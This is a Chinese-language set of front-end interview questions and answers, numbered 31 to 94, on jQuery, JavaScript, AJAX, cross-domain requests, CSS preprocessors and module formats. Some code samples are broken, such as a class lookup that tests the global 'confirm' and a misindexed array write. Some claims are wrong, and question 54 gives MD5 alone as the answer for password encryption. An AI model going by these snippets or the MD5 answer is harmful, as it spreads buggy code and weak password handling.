// 雖然在jQuery命名空間中,我們禁止使用了大量的javaScript函數名和變量名。
// 但是仍然不可避免某些函數或變量名將于其他jQuery插件沖突,因此我們習慣將一些方法
// 封裝到另一個自定義的命名空間。
jQuery.myPlugin = {
foo:function() {
alert('This is a test. This is only a test.');
},
bar:function(param) {
alert('This function takes a parameter, which is "' + param + '".');
}
};
//采用命名空間的函數仍然是全局函數,調用時采用的方法:
$.myPlugin.foo();
$.myPlugin.bar('baz');
//通過這個技巧(使用獨立的插件名),我們可以避免命名空間內函數的沖突。
//第二種是對象級別的插件開發
//形式1:
(function($){
$.fn.extend({
pluginName:function(opt,callback){
// Our plugin implementation code goes here.
}
})
})(jQuery);
//形式2:
(function($) {
$.fn.pluginName = function() {
// Our plugin implementation code goes here.
};
})(jQuery);
//形參是$,函數定義完成之后,把jQuery這個實參傳遞進去.立即調用執行。
//這樣的好處是,我們在寫jQuery插件時,也可以使用$這個別名,而不會與prototype引起沖突
31.$('div+.ab')和$('.ab+div') 哪個效率高?
$('div+.ab')效率高
32.$.map和$.each有什么區別
map()方法主要用來遍歷操作數組和對象,會返回一個新的數組。$.map()方法適用于將數組或對象每個項目新陣列映射到一個新數組的函數;
each()主要用于遍歷jquery對象,返回的是原來的數組,并不會新創建一個數組。
33.編寫一個 getElementsByClassName 封裝函數?
<body>
<input type="submit" id = "sub" class="ss confirm btn" value="提交"/>
<script> window.onload = function(){
//方法一
var Opt = document.getElementById('sub');
var getClass = function(className,tagName){
if(document.getElementsByTagName){
var Inp = document.getElementsByTagName(tagName);
for(var i=0; i<Inp.length; i++){
if((new RegExp('(\\s|^)' +className +'(\\s|$)')).test(Inp[i].className)){
return Inp[i];
}
}
}else if(document.getElementsByClassName){
return document.getElementsByClassName(className);
}
}
//方法二
var aa = getClass("confirm", "input");
function getClass(className, targetName){
var ele = [];
var all = document.getElementsByTagName(targetName || "*");
for(var i=0; i<all.length; i++){
if(all[i].className.match(new RegExp('(\\s|^)'+confirm+'(\\s|$)'))){
ele[ele.length] = all[i];
}
}
return ele;
}
//方法三
function getObjsByClass(tagName, className){
if(document.getElementsByClassName){
alert("document.getElementsByClassName");
return document.getElementsByClassName(className);
}else{
var el = [];
var _el = document.getElementsByTagName(tagName);
for(var i=0; i<_el.length; i++){
if(_el[i].className.indexOf(className) > -1){
alert(_el[i]);
el[_el.length] = _el[i];
}
}
alert(el);
return el;
}
}
}
</script>
</body>
34.簡述下工作流程
我在之前的公司工作流程大概是這樣的:公司定稿會結束以后,會進行簡單的技術研討,然后我們前端會進行先期的技術準備。前端切圖人員會進行psd設計稿切圖,并且將css文件進行整合。我們主要編寫JS部分,其中包括搭建前端框架(大項目),編寫js業務和數據持久化操作,我們也會編寫js插件并且進行封裝方便使用,還有就是編寫JS前端組建和JS測試單元,最后將完成的JS部分與切圖人員提供的HTML頁面進行整合。最后對完成的頁面進行功能測試、頁面兼容、產品還原。然后對產品進行封存,提交測試。如果出現BUG會返回給我們開發人員進行修改,再提交測試,最后測試成功,進行版本封存。等到程序全部上線的時候進行線上測試。
35.一般使用什么版本控制工具?svn如何對文件加鎖
svn加鎖目的:為了避免多個人同一時間對同一個文件改動的相互覆蓋,版本控制系統就必須有一套沖突處理機制。
svn加鎖兩種策略:樂觀加鎖:所有簽出的文件都是可讀寫的,對文件的修改不必獲得文件的鎖,當你修改完文件簽入時,會首先要求你更新本地文件,版本控制系統不會覆蓋你的本地修改,而是會讓你自己合并沖突后簽入。
嚴格加鎖:所有簽出的文件都是只讀的,任何對文件的修改必須要獲得文件的鎖,如果其他人沒有擁有該文件的鎖,那么版本控制系統就會授權給你文件的鎖,并將文件設置為可編輯的。
svn兩種加鎖步驟:樂觀加鎖:選擇你想要獲取鎖定的文件,然后右鍵菜單點擊TortoiseSVN 選取獲取鎖定。
嚴格加鎖:在想要采取嚴格加鎖的文件或目錄上點擊右鍵,使用TortoiseSVN 屬性菜單,點擊新建屬性,選擇需要鎖定。
36. git 和 svn的區別?
SVN是集中式版本控制系統,版本庫是集中放在中央服務器的,而干活的時候,用的都是自己的電腦,所以首先要從中央服務器哪里得到最新的版本,然后干活,干完后,需要把自己做完的活推送到中央服務器。集中式版本控制系統是必須聯網才能工作,如果在局域網還可以,帶寬夠大,速度夠快,如果在互聯網下,如果網速慢的話,就納悶了。
Git是分布式版本控制系統,那么它就沒有中央服務器的,每個人的電腦就是一個完整的版本庫,這樣,工作的時候就不需要聯網了,因為版本都是在自己的電腦上。既然每個人的電腦都有一個完整的版本庫,那多個人如何協作呢?比如說自己在電腦上改了文件A,其他人也在電腦上改了文件A,這時,你們兩之間只需把各自的修改推送給對方,就可以互相看到對方的修改了。
37. jquery和zepto有什么區別?
1.針對移動端程序,Zepto有一些基本的觸摸事件可以用來做觸摸屏交互(tap事件、swipe事件),Zepto是不支持IE瀏覽器的,這不是Zepto的開發者Thomas Fucks在跨瀏覽器問題上犯了迷糊,而是經過了認真考慮后為了降低文件尺寸而做出的決定,就像jQuery的團隊在2.0版中不再支持舊版的IE(6 7 8)一樣。因為Zepto使用jQuery句法,所以它在文檔中建議把jQuery作為IE上的后備庫。那樣程序仍能在IE中,而其他瀏覽器則能享受到Zepto在文件大小上的優勢,然而它們兩個的API不是完全兼容的,所以使用這種方法時一定要小心,并要做充分的測試。
2.Dom操作的區別:添加id時jQuery不會生效而Zepto會生效。
3.zepto主要用在移動設備上,只支持較新的瀏覽器,好處是代碼量比較小,性能也較好。
jquery主要是兼容性好,可以跑在各種pc,移動上,好處是兼容各種瀏覽器,缺點是代碼量大,同時考慮兼容,性能也不夠好。
38. $(function(){})和window.onload 和 $(document).ready(function(){})
window.onload:用于當頁面的所有元素,包括外部引用文件,圖片等都加載完畢時運行函數內的函數。load方法只能執行一次,如果在js文件里寫了多個,只能執行最后一個。
$(document).ready(function(){})和$(function(){})都是用于當頁面的標準DOM元素被解析成DOM樹后就執行內部函數。這個函數是可以在js文件里多次編寫的,對于多人共同編寫的js就有很大的優勢,因為所有行為函數都會執行到。而且$(document).ready()函數在HMTL結構加載完后就可以執行,不需要等大型文件加載或者不存在的連接等耗時工作完成才執行,效率高。
39. Jq中 attr 和 prop 有什么區別
對于HTML元素本身就帶有的固有屬性,在處理時,使用prop方法。
對于HTML元素我們自己自定義的DOM屬性,在處理時,使用attr方法。
40. 簡述下 this 和定義屬性和方法的時候有什么區別?Prototype?
this表示當前對象,如果在全局作用范圍內使用this,則指代當前頁面對象window; 如果在函數中使用this,則this指代什么是根據運行時此函數在什么對象上被調用。 我們還可以使用apply和call兩個全局方法來改變函數中this的具體指向。
prototype本質上還是一個JavaScript對象。 并且每個函數都有一個默認的prototype屬性。
在prototype上定義的屬性方法為所有實例共享,所有實例皆引用到同一個對象,單一實例對原型上的屬性進行修改,也會影響到所有其他實例。
41. 什么是預編譯語音|預編譯處理器?
Sass是一種CSS預處理器語言,通過編程方式生成CSS代碼。因為可編程,所以操控靈活性自由度高,方便實現一些直接編寫CSS代碼較困難的代碼。
同時,因為Sass是生成CSS的語言,所以寫出來的Sass文件是不能直接用的,必須經過編譯器編譯成CSS文件才能使用。
CSS 預處理器是一種語言用來為 CSS 增加一些編程的的特性,無需考慮瀏覽器的兼容性問題,例如你可以在 CSS 中使用變量、簡單的程序邏輯、函數等等在編程語言中的一些基本技巧,可以讓你的 CSS 更見簡潔,適應性更強,代碼更直觀等諸多好處。最常用的css預處理器有sass、less css、 stylus。
42.ajax 和 jsonp ?
ajax和jsonp的區別:
相同點:都是請求一個url
不同點:ajax的核心是通過xmlHttpRequest獲取內容
jsonp的核心則是動態添加<script>標簽來調用服務器 提供的js腳本。
43.ajax執行流程?
1. 創建XMLHttpRequest對象,也就是創建一個異步調用對象
2. 創建一個新的HTTP請求,并指定該HTTP請求的方法、URL及驗證信息
3. 設置響應HTTP請求狀態變化的函數
4. 發送HTTP請求
5. 獲取異步調用返回的數據
6. 使用JavaScript和DOM實現局部刷新
44.xhr對象 status ? readystate?
status是XMLHttpRequest對象的一個屬性,表示響應的HTTP狀態碼。
readyState是XMLHttpRequest對象的一個屬性,用來標識當前XMLHttpRequest對象處于什么狀態。
45.readystate 0~4
0:未初始化狀態:此時,已經創建了一個XMLHttpRequest對象
1: 準備發送狀態:此時,已經調用了XMLHttpRequest對象的open方法,并且XMLHttpRequest對象已經準備好將一個請求發送到服務器端
2:已經發送狀態:此時,已經通過send方法把一個請求發送到服務器端,但是還沒有收到一個響應
3:正在接收狀態:此時,已經接收到HTTP響應頭部信息,但是消息體部分還沒有完全接收到
4:完成響應狀態:此時,已經完成了HTTP響應的接收
46.說出幾個http協議狀態碼?
200, 201, 302, 304, 400, 404, 500
200:請求成功
201:請求成功并且服務器創建了新的資源
302:服務器目前從不同位置的網頁響應請求,但請求者應繼續使用原有位置來響應以后的請求。
304:自從上次請求后,請求的網頁未修改過。服務器返回此響應時,不會返回網頁內容。
400:服務器不理解請求的語法。
404:請求的資源(網頁等)不存在
500: 內部服務器錯誤
47.上一個項目是什么?主要負責哪些?購物車流程?支付功能?
主要負責哪些就講主要做哪些功能模塊:
1)商品模塊:
1、商品列表:商品排序 商品篩選 商品過濾 商品查詢 商品推薦
2、商品詳情:類型推薦 商品簡介 商品詳情 商品評價 售后維護
2)購物車模塊:商品編號、數量、價格、總額、運費、運輸選項、運費總計、從購物車刪除選項、更新數量、結賬、繼續購物、商品描述、庫存信息
48.sessionStorage和localstroage與cookie之間有什么關聯, cookie最大存放多少字節
三者共同點:都是保存在瀏覽器端,且同源的。
區別:
1、cookie在瀏覽器和服務器間來回傳遞。而sessionStorage和localStorage不會自動把數據發給服務器,僅在本地保存
2、存儲大小限制也不同,cookie數據不能超過4k,sessionStorage和localStorage 但比cookie大得多,可以達到5M
3、數據有效期不同,sessionStorage:僅在當前瀏覽器窗口關閉前有效,自然也就不可能持久保持;localStorage:始終有效,窗口或瀏覽器關閉也一直保存,因此用作持久數據;cookie只在設置的cookie過期時間之前一直有效,即使窗口或瀏覽器關閉
4、作用域不同,sessionStorage不在不同的瀏覽器窗口中共享,即使是同一個頁面(即數據不共享);localStorage 在所有同源窗口中都是共享的;cookie也是在所有同源窗口中都是共享的( 即數據共享 )。
49.ajax中 get 和 post 有什么區別?
get和post都是數據提交的方式。
get的數據是通過網址問號后邊拼接的字符串進行傳遞的。post是通過一個HTTP包體進行傳遞數據的。
get的傳輸量是有限制的,post是沒有限制的。
get的安全性可能沒有post高,所以我們一般用get來獲取數據,post一般用來修改數據。
50.Gc機制是什么?為什么閉包不會被回收變量和函數?
1、Gc垃圾回收機制;
2、外部變量沒釋放,所以指向的大函數內的小函數也釋放不了
51.簡述下你理解的面向對象?
萬物皆對象,把一個對象抽象成類,具體上就是把一個對象的靜態特征和動態特征抽象成屬性和方法,也就是把一類事物的算法和數據結構封裝在一個類之中,程序就是多個對象和互相之間的通信組成的.
面向對象具有封裝性,繼承性,多態性。
封裝:隱蔽了對象內部不需要暴露的細節,使得內部細節的變動跟外界脫離,只依靠接口進行通信.封裝性降低了編程的復雜性. 通過繼承,使得新建一個類變得容易,一個類從派生類那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而繼承和實現接口和運行時的類型綁定機制 所產生的多態,使得不同的類所產生的對象能夠對相同的消息作出不同的反應,極大地提高了代碼的通用性.
總之,面向對象的特性提高了大型程序的重用性和可維護性.
52.this是什么 在不同場景中分別代表什么
(1)function a(){ this ?} //This:指向windows
(2)function b(){ return function(){ this ?}}b()(); //This:指向windows
(3)function c(){ return {s:function(){this}}}c().s(); //This:指向object
由于其運行期綁定的特性,JavaScript 中的 this 含義要豐富得多,它可以是全局對象、當前對象或者任意對象,這完全取決于函數的調用方式。
53.你對數據校驗是怎么樣處理的?jquery.validate?
通俗的說,就是為保證數據的完整性,用一種指定的算法對原始數據計算出的一個校驗值。接收方用同樣的算法計算一次校驗值,如果和隨數據提供的校驗值一樣,就說明數據是完整的。
用正則表達式來處理;
jquery.validate:為表單驗證插件
54.如何對登錄的賬號密碼進行加密?
Md5
55.在jq中 mouseover mouseenter mouseout mouseleave 和 hover有什么關聯?
mouseenter與mouseover:
不論鼠標指針穿過被選中元素或其子元素,都會觸發mouseover事件。
只有在鼠標指針穿過被選元素時,才會觸發mouseentr事件。
mouseout與mouseleave:
不論鼠標離開被選元素還是任何子元素,都會觸發mouseout事件。
只有在鼠標指針離開被選元素時,才會觸發mouseleave事件。
hover:
hover是一個符合方法,相當于mouseenter+mouseleave。
56.jsonp原理? 缺點?
工作原理:使用script標簽實現跨域訪問,可在url中指定回調函數,獲取JSON數據并在指定的回調函數中執行jquery實現jsop。
缺點:只支持GET方式的jsonp實現,是一種腳本注入行為存在一定的安全隱患。如果返回的數據格式有問題或者返回失敗了,并不會報錯。
57.除了jsonp 還有什么跨域方式
javascript跨域有兩種情況:
1、基于同一父域的子域之間,如:http://a.c.com和http://b.c.com
2、基于不同的父域之間,如:http://www.a.com和http://www.b.com
3、端口的不同,如:http://www.a.com:8080和http://www.a.com:8088
4、協議不同,如:http://www.a.com和https://www.a.com
對于情況3和4,需要通過后臺proxy來解決,具體方式如下:
a、在發起方的域下創建proxy程序
b、發起方的js調用本域下的proxy程序
c、proxy將請求發送給接收方并獲取相應數據
d、proxy將獲得的數據返回給發起方的js
代碼和ajax調用一致,其實這種方式就是通過ajax進行調用的
而情況1和2除了通過后臺proxy這種方式外,還可以有多種辦法來解決:
1、document.domain+iframe(只能解決情況1):
a、在發起方頁面和接收方頁面設置document.domain,并將值設為父域的主域名(window.location.hostname)
b、在發起方頁面創建一個隱藏的iframe,iframe的源是接收方頁面
c、根據瀏覽器的不同,通過iframe.contentDocument || iframe.contentWindow.document來獲得接收方頁面的內容
d、通過獲得的接收方頁面的內容來與接收方進行交互
這種方法有個缺點,就是當一個域被攻擊時,另一個域會有安全漏洞出現。
58.如何使用storage 對js文件進行緩存
由于sessionStorage - 針對一個 session 的數據存儲,所以我們一般利用localStorage儲存js文件,只有在第一次訪問該頁面的時候加載js文件,以后在訪問的時候加載本地localStorage執行
59.如何確保ajax或連接不走緩存路徑
在Ajax中使用Get請求數據不會有頁面緩存的問題,而使用POST請求可是有時候頁面會緩存我們提交的信息,導致我們發送的異步請求不能正確的返回我們想要的數據
$.post(url,data ,ranNum:Math.random()} ,function(data){})
ranNum : 這個是防止緩存的核心,每次發起請求都會用Math.random()方法生成一個隨機的數字,這樣子就會刷新url緩存
60.split() join()?
前者是切割成數組的形式,
后者是將數組轉換成字符串
61.slice() splice()?
slice() 方法可從已有的數組中返回選定的元素。
splice() 方法向/從數組中添加/刪除項目,然后返回被刪除的項目。
62.typeof?typeof [ ]返回數據類型是?
//判斷基本數據類型;var a=[];typeof a輸出object;
//本來判斷一個對象類型用typeof是最好的,不過對于Array類型是不適用的,
//可以使用 instanceof操作符:
var arrayStr=new Array("1","2","3","4","5");
alert(arrayStr instanceof Array);
//當然以上在一個簡單的頁面布局里面是沒有問題的,如果是復雜頁面情況,
//入獲取的是frame內部的Array對象,可以用這個函數判斷:
function isArray(obj) {
return Object.prototype.toString.call(obj) === '[object Array]';
}
63.disabled readyonly?
readonly只針對input(text / password)和textarea有效,而disabled對于所有的表單元素都有效,當表單元素在使用了disabled后,當我們將表單以POST或GET的方式提交的話,這個元素的值不會被傳遞出去,而readonly會將該值傳遞出去。
64.同步異步?
1、進程同步:就是在發出一個功能調用時,在沒有得到結果之前,該調用就不返回。也就是必須一件一件事做,等前一件做完了才能做下一件事
2、異步的概念和同步相對。當一個異步過程調用發出后,調用者不能立刻得到結果。實際處理這個調用的部件在完成后,通過狀態、通知和回調來通知調用者。
65.promise
Promise的構造函數接收一個參數,是函數,并且傳入兩個參數:resolve,reject,分別表示異步操作執行成功后的回調函數和異步操作執行失敗后的回調函數。
66.函數fn1 函數fn2 函數fn3,如果想在三個函數都執行完成后執行某一個事件應該如何實現?
//1、設置事件監聽。
//2、回調函數:
function fn1(){
console.log("執行fn1");
fn2();
}
function fn2(){
console.log("執行fn2");
fn3();
}
function fn3(){
console.log("執行fn3");
mou();
}
function mou(){
console.log("執行某個函數");
}
fn1();
67.JavaScript提供了哪幾種“異步模式”?
1、回調函數(callbacks)
2、事件監聽
3、Promise對象
68.什么是移動端的300ms延遲?什么是點擊穿透?解決方案?
移動端300ms延遲:假定這么一個場景。用戶在 瀏覽器里邊點擊了一個鏈接。由于用戶可以進行雙擊縮放或者雙擊滾動的操作,當用戶一次點擊屏幕之后,瀏覽器并不能立刻判斷用戶是確實要打開這個鏈接,還是想要進行雙擊操作。因此,瀏覽器 就等待 300 毫秒,以判斷用戶是否再次點擊了屏幕。也就是說,當我們點擊頁面的時候移動端瀏覽器并不是立即作出反應,而是會等上一小會兒才會出現點擊的效果。
點擊穿透:假如頁面上有兩個元素A和B。B元素在A元素之上。我們在B元素的touchstart事件上注冊了一個回調函數,該回調函數的作用是隱藏B元素。我們發現,當我們點擊B元素,B元素被隱藏了,隨后,A元素觸發了click事件。這是因為在移動端瀏覽器,事件執行的順序是touchstart > touchend > click。而click事件有300ms的延遲,當touchstart事件把B元素隱藏之后,隔了300ms,瀏覽器觸發了click事件,但是此時B元素不見了,所以該事件被派發到了A元素身上。如果A元素是一個鏈接,那此時頁面就會意外地跳轉。
300ms延遲解決方案:
(1) 禁用縮放,在html文檔頭部加meta標簽如下:
<meta name=”viewport” content=”user-scalable=no”/>
(2) 更改默認的視口寬度 (響應式布局,消除了站點上可能存在的雙擊綻放的請求)
<meta name=”viewport” content=”width=device-width”/>
(3) Css touch-action
touch-action:none;在該元素上的操作不會觸發用戶代理的任何行為,無需進行3000ms延遲判斷。
(4) FastClick為解決移動端瀏覽器300毫秒延遲開發的一個輕量級的庫
點擊穿透解決方案:
(1)只用touch
(2)只用click
(3)tap后延遲350ms再隱藏mask
(4)pointer-events
69.變量作用域?
//變量作用域:一個變量的作用域是程序源代碼中定義這個變量的區域。全局變量擁有全局作用域,
//在js代碼中任何地方都是有定義的。在函數內聲明的變量只在函數體內有定義,它們是局部變量,
//作用域是局部性的。函數參數也是局部變量,它們只在函數體內有定義。
var a = "";
window.b=''”;
function(e) {
var c= "";
d="";
e="";
}
function go() {
console.info(this);//window
return function() {
console.info(this); // window
return {
b:function(){
console.info(this); //b的父對象
}
}
}
}
go()().b();
70.call & apply 兩者之間的區別
call和apply都是改變this指向的方法,區別在于call可以寫多個參數,而apply只能寫兩個參數,第二個參數是一個數組,用于存放要傳的參數。
71.call和apply 有什么好處?
用call和apply:實現更好的繼承和擴展,更安全。
72.誰是c的構造函數?
function ab() {
this.say = ""; }
ab.constructor = {} ab.name = '';
var c = new ab();
//構造函數默認指向函數本身,ab是一個類,它的構造函數是它本身,
//然后ab.constructor={};ab的構造函數就指向{}了,c是ab的實例化對象,c的構造函數就是{}
//通過使用new的時候,創建對象發生了那些改變? 當使用new操作時,會馬上開辟一個塊內存,
//創建一個空對象,并將this指向這個對象。接著,執行構造函數ab(),對這個空對象進行構造
//(構造函數里有什么屬性和方法都一一給這個空白對象裝配上去,這就是為何它叫構造函數了)。
73.sass和less有什么區別?
1.編譯環境不一樣 Sass的安裝需要Ruby環境,是在服務端處理的,而Less是需要引入less.js來處理Less代碼輸出css到瀏覽器,也可以在開發環節使用Less,然后編譯成css文件,直接放到項目中。
2.變量符不一相,less是@,而scss是$,而且它們的作用域也不一樣,less是塊級作用域
3.輸出設置,Less沒有輸出設置,sass提供4種輸出選項,nested,compact,compressed和expanded nested:嵌套縮進的css代碼(默認) expanded:展開的多行css代碼 compact:簡潔格式的css代碼 compressed:壓縮后的css代碼
4.sass支持條件語句,可以使用if{}else{},for{}循環等等,而less不行
5.引用外部css文件,sass引用外部文件必須以_開頭,文件名如果以下劃線_形狀,sass會認為該文件是一個引用文件,不會將其編譯為css文件。less引用外部文件和css中的@import沒什么差異。
6.sass和less的工具庫不同。sass有工具庫Compass, 簡單說,sass和Compass的關系有點像Javascript和jQuery的關系,Compass是sass的工具庫。在它的基礎上,封裝了一系列有用的模塊和模板,補充強化了sass的功能。less有UI組件庫Bootstrap,Bootstrap是web前端開發中一個比較有名的前端UI組件庫,Bootstrap的樣式文件部分源碼就是采用less語法編寫。
總結:不管是sass,還是less,都可以視為一種基于CSS之上的高級語言,其目的是使得CSS開發更靈活和更強大,sass的功能比less強大,基本可以說是一種真正的編程語言了,less則相對清晰明了,易于上手,對編譯環境要求比較寬松。考慮到編譯sass要安裝Ruby,而Ruby官網在國內訪問不了,個人在實際開發中更傾向于選擇less。
74.bootstrap好處?
自適應和響應式布局,12柵格系統,統一的界面風格和css樣式有利于團隊開發。編寫靈活、穩定、高質量的 HTML 和 CSS 代碼的規范。
75.開發時如何對項目進行管理?gulp?
本人開發時,利用gulp等前端工作流管理工具管理項目。 gulp是新一代的前端項目構建工具,你可以使用gulp及其插件對你的項目代碼(less,sass)進行編譯,還可以壓縮你的js和css代碼,甚至壓縮你的圖片,能夠合并文件,壓縮文件,語法檢查,監聽文件變化,測試,轉換二進制,轉換圖片等一系列功能。gulp僅有少量的API,所以非常容易學習。實現良好的項目管理。
76.壓縮合并目的?http請求的優化方式?
1)Web性能優化最佳實踐中最重要的一條是減少HTTP請求。而減少HTTP請求的最主要的方式就是,合并并壓縮JavaScript和CSS文件。
CSS Sprites(CSS精靈):把全站的圖標都放在一個圖像文件中,然后用CSS的background-image和background-position屬性定位來顯示其中的一小部分。
合并腳本和樣式表; 圖片地圖:利用image map標簽定義一個客戶端圖像映射,(圖像映射指帶有可點擊區域的一幅圖像)具體看:http://club.topsage.com/thread-2527479-1-1.html
圖片js/css等靜態資源放在靜態服務器或CDN服時,盡量采用不用的域名,這樣能防止cookie不會互相污染,減少每次請求的往返數據。
css替代圖片, 緩存一些數據
少用location.reload():使用location.reload() 會刷新頁面,刷新頁面時頁面所有資源 (css,js,img等) 會重新請求服務器。建議使用location.href="當前頁url" 代替location.reload() ,使用location.href 瀏覽器會讀取本地緩存資源。
77.ajax請求方式有幾種(8種)?
1)$.get(url,[data],[callback])
2)$.getJSON(url,[data],[callback])
3)$.post(url,[data],[callback],[type])
4)$.ajax(opiton)
5)$.getScript( url, [callback] )
6)jquery對象.load( url, [data], [callback] )
7)serialize() 與 serializeArray()
78.如何copy一個dom元素?
原生Js方法:var div = document.getElementsByTagName('div')[0];
var clone = div.cloneNode();
Jquery方法:$('div').clone();
在默認情況下,.clone()方法不會復制匹配的元素或其后代元素中綁定的事件。不過,可以為這個方法傳遞一個布爾值參數,將這個參數設置為true, 就可以連同事件一起復制,即.clone(true)。
79.數組的排序方法(sort)?排序?漢字排序?
數組的排序方法:reverse()和sort()。reverse()方法會對反轉數組項的順序。
Eg:var values = [0, 1, 5, 10, 15]; values.sort();//0,1,10,15,5
var values = [1, 2, 3, 4, 5]; values.reverse();//5,4,3,2,1
js中的排序(詳情參考:http://www.tuicool.com/articles/IjInMbU)
利用sort排序, 冒泡排序, 快速排序, 插入排序, 希爾排序, 選擇排序
歸并排序
localeCompare() 方法用于字符串編碼的排序
localeCompare 方法:返回一個值,指出在當前的區域設置中兩個字符串是否相同。
80.簡述一下你理解的面向對象?
面向對象是基于萬物皆對象這個哲學觀點. 把一個對象抽象成類,具體上就是把一個對象的靜態特征和動態特征抽象成屬性和方法,也就是把一類事物的算法和數據結構封裝在一個類之中,程序就是多個對象和互相之間的通信組成的.
面向對象具有封裝性,繼承性,多態性。
封裝:隱蔽了對象內部不需要暴露的細節,使得內部細節的變動跟外界脫離,只依靠接口進行通信.封裝性降低了編程的復雜性. 通過繼承,使得新建一個類變得容易,一個類從派生類那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而 繼承和實現接口和運行時的類型綁定機制 所產生的多態,使得不同的類所產生的對象能夠對相同的消息作出不同的反應,極大地提高了代碼的通用性.
總之,面向對象的特性提高了大型程序的重用性和可維護性.
81.如何創建一個對象?
1. 工廠模式
2. 構造函數模式
3. 原型模式
4. 混合構造函數和原型模式
5. 動態原型模式
6. 寄生構造函數模式
7. 穩妥構造函數模式
程序的設計模式?工廠模式?發布訂閱?
1)設計模式并不是某種語言的某塊代碼,設計模式是一種思想,提供給在編碼時候遇到的各種問題是可以采取的解決方案,更傾向于一種邏輯思維,而不是萬能代碼塊。
設計模式主要分三個類型:創建型、結構型和行為型。
創建型模式:單例模式,抽象工廠模式,建造者模式,工廠模式與原型模式。
結構型模式:適配器模式,橋接模式,裝飾者模式,組合模式,外觀模式,享元模式以及代理模式。
行為型模式:模板方法模式,命令模式,迭代器模式,觀察者模式,中介者模式,備忘錄模式,解釋器模式,狀態模式,策略模式,職責鏈模式和訪問者模式。
2)與創建型模式類似,工廠模式創建對象(視為工廠里的產品)是無需指定創建對象的具體類。
工廠模式定義一個用于創建對象的接口,這個接口由子類決定實例化哪一個類。該模式使一個類的實例化延遲到了子類。而子類可以重寫接口方法以便創建的時候指定自己的對象類型。
3)觀察者模式又叫做發布訂閱模式,它定義了一種一對多的關系,讓多個觀察者對象同時監聽某一個主題對象,這個主題對象的狀態發生改變時就會通知所有觀察著對象。它是由兩類對象組成,主題和觀察者,主題負責發布事件,同時觀察者通過訂閱這些事件來觀察該主體,發布者和訂閱者是完全解耦的,彼此不知道對方的存在,兩者僅僅共享一個自定義事件的名稱。
( 設計模式實在是太高深了,小伙伴門結合網上實例自行學習,我實在是無能為力啊 )
82.commonjs?requirejs?AMD|CMD|UMD?
1.CommonJS就是為JS的表現來制定規范,NodeJS是這種規范的實現,webpack 也是以CommonJS的形式來書寫。因為js沒有模塊的功能,所以CommonJS應運而生。但它不能在瀏覽器中運行。 CommonJS定義的模塊分為:{模塊引用(require)} {模塊定義(exports)} {模塊標識(module)}
2.RequireJS 是一個JavaScript模塊加載器。 RequireJS有兩個主要方法(method): define()和require()。這兩個方法基本上擁有相同的定義(declaration) 并且它們都知道如何加載的依賴關系,然后執行一個回調函數(callback function)。與require()不同的是, define()用來存儲代碼作為一個已命名的模塊。 因此define()的回調函數需要有一個返回值作為這個模塊定義。這些類似被定義的模塊叫作AMD (Asynchronous Module Definition,異步模塊定義)。
3.AMD 是 RequireJS 在推廣過程中對模塊定義的規范化產出 AMD異步加載模塊。它的模塊支持對象 函數 構造器 字符串 JSON等各種類型的模塊。 適用AMD規范適用define方法定義模塊。
4.CMD是SeaJS 在推廣過程中對模塊定義的規范化產出
AMD與CDM的區別:
(1)對于于依賴的模塊,AMD 是提前執行(好像現在也可以延遲執行了),CMD 是延遲執行。
(2)AMD 推崇依賴前置,CMD 推崇依賴就近。
(3)AMD 推崇復用接口,CMD 推崇單用接口。
(4)書寫規范的差異。
5.umd是AMD和CommonJS的糅合。
AMD 瀏覽器第一的原則發展 異步加載模塊。
CommonJS模塊以服務器第一原則發展,選擇同步加載,它的模塊無需包裝(unwrapped modules)。這迫使人們又想出另一個更通用的模式UMD ( Universal Module Definition ), 希望解決跨平臺的解決方案。UMD先判斷是否支持Node.js的模塊( exports )是否存在,存在則使用Node.js模塊模式。
83. js的幾種繼承方式?
1.使用對象冒充實現繼承
2.采用call、Apply方法改變函數上下文實現繼承
3.原型鏈方式繼承
84. JavaScript原型,原型鏈 ? 有什么特點?
在JavaScript中,一共有兩種類型的值,原始值和對象值.每個對象都有一個內部屬性[[prototype]],我們通常稱之為原型.原型的值可以是一個對象,也可以是null.如果它的值是一個對象,則這個對象也一定有自己的原型.這樣就形成了一條線性的鏈,我們稱之為原型鏈.
訪問一個對象的原型可以使用ES5中的Object.getPrototypeOf方法,或者ES6中的__proto__屬性. 原型鏈的作用是用來實現繼承,比如我們新建一個數組,數組的方法就是從數組的原型上繼承而來的。
85. eval是做什么的?
它的功能是把對應的字符串解析成JS代碼并運行; 應該避免使用eval,不安全,非常耗性能(2次,一次解析成js語句,一次執行)。
86. null,undefined 的區別?
undefined表示變量聲明但未初始化的值,null表示準備用來保存對象,還沒有真正保存對象的值。從邏輯角度看,null表示一個空對象指針。
87. JSON 的了解?
JSON(JavaScript Object Notation) 是一種輕量級的數據交換格式。 它是基于JavaScript的一個子集。數據格式簡單, 易于讀寫, 占用帶寬小。
88. js延遲加載的方式有哪些?
defer和async、動態創建DOM方式(用得最多)、按需異步載入js
89. ajax 是什么?
異步javascript和XML,是指一種創建交互式網頁應用的網頁開發技術。通過后臺與服務器進行少量數據交換,AJAX可以使網頁實現異步更新。這意味著可以在不重新加載整個網頁的情況下,對網頁的某部分進行更新。
90. 同步和異步的區別?
javascript同步表示sync,指:代碼依次執行 javascript異步表示async,指:代碼執行不按順序,‘跳過’執行,待其他某些代碼執行完后再來執行,成為異步。
91. 如何解決跨域問題?
Jsonp、iframe、window.name、window.postMessage、服務器上設置代理頁面
92. 異步加載的方式有哪些?
(1) defer,只支持IE
(2) async:true
(3) 創建script,插入到DOM中,加載完畢后callBack
93. jQuery與jQuery UI 有啥區別?
jQuery是一個js庫,主要提供的功能是選擇器,屬性修改和事件綁定等等。
jQuery UI則是在jQuery的基礎上,利用jQuery的擴展性,設計的插件。提供了一些常用的界面元素,諸如對話框、拖動行為、改變大小行為等等。
94. 你有哪些性能優化的方法?
(1) 減少http請求次數:CSS Sprites, JS、CSS源碼壓縮、圖片大小控制合適;網頁Gzip, CDN托管,data緩存 ,圖片服務器。
(2) 前端模板 JS+數據,減少由于HTML標簽導致的帶寬浪費,前端用變量保存AJAX請求結果,每次操作本地變量,不用請求,減少請求次數
(3) 用innerHTML代替DOM操作,減少DOM操作次數,優化javascript性能。
(4) 當需要設置的樣式很多時設置className而不是直接操作style。
(5) 少用全局變量、緩存DOM節點查找的結果。減少IO讀取操作。
(6) 避免使用CSS Expression(css表達式)又稱Dynamic properties(動態屬性)。
(7) 圖片預加載,將樣式表放在頂部,將腳本放在底部 加上時間戳。
